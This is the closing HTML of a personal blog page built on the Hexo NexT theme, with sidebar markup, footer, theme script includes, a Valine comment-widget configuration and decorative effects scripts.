    <img class="site-author-image" itemprop="image" alt="H.R.P"
      src="https://www.hualigs.cn/image/6015786be4309.jpg">
  <p class="site-author-name" itemprop="name">H.R.P</p>
  <div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/diazang/archives/">
        
          <span class="site-state-item-count">38</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
  </nav>
</div>



      </div>
        <div class="back-to-top motion-element">
          <i class="fa fa-arrow-up"></i>
          <span>0%</span>
        </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        <!-- 用下面的符号注释，注释代码用下面括号括起来 -->
<!-- -->

<!-- 







-->


        








      </div>
    </footer>
  </div>

  
  <script src="/diazang/lib/anime.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.min.js"></script>
  <script src="/diazang/lib/velocity/velocity.ui.min.js"></script>

<script src="/diazang/js/utils.js"></script>

<script src="/diazang/js/motion.js"></script>


<script src="/diazang/js/schemes/pisces.js"></script>


<script src="/diazang/js/next-boot.js"></script>




  




  
<script src="/diazang/js/local-search.js"></script>













  

  


<script>
NexT.utils.loadComments(document.querySelector('#valine-comments'), () => {
  NexT.utils.getScript('//unpkg.com/valine/dist/Valine.min.js', () => {
    var GUEST = ['nick', 'mail', 'link'];
    var guest = 'nick,mail,link';
    guest = guest.split(',').filter(item => {
      return GUEST.includes(item);
    });
    new Valine({
      el         : '#valine-comments',
      verify     : false,
      notify     : false,
      appId      : 'g8R6OK66Q2xJiQieSaxzFqVA-gzGzoHsz',
      appKey     : 'V9mmkUCmucvukcz6LwkONqXa',
      placeholder: "Just go go",
      avatar     : 'mm',
      meta       : guest,
      pageSize   : '10' || 10,
      visitor    : false,
      lang       : '' || 'zh-cn',
      path       : location.pathname,
      recordIP   : false,
      serverURLs : ''
    });
  }, window.Valine);
});
</script>

</body>
</html>
<a href="http://jue-xian.gitee.io/diazang"><svg width="80" height="80" viewBox="0 0 250 250" style="fill:#70B7FD; color:#fff; position: absolute; top: 0; border: 0; right: 0;" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a><style>.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media (max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}}</style>
<!-- 动态背景 -->
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/clicklove.js"></script>


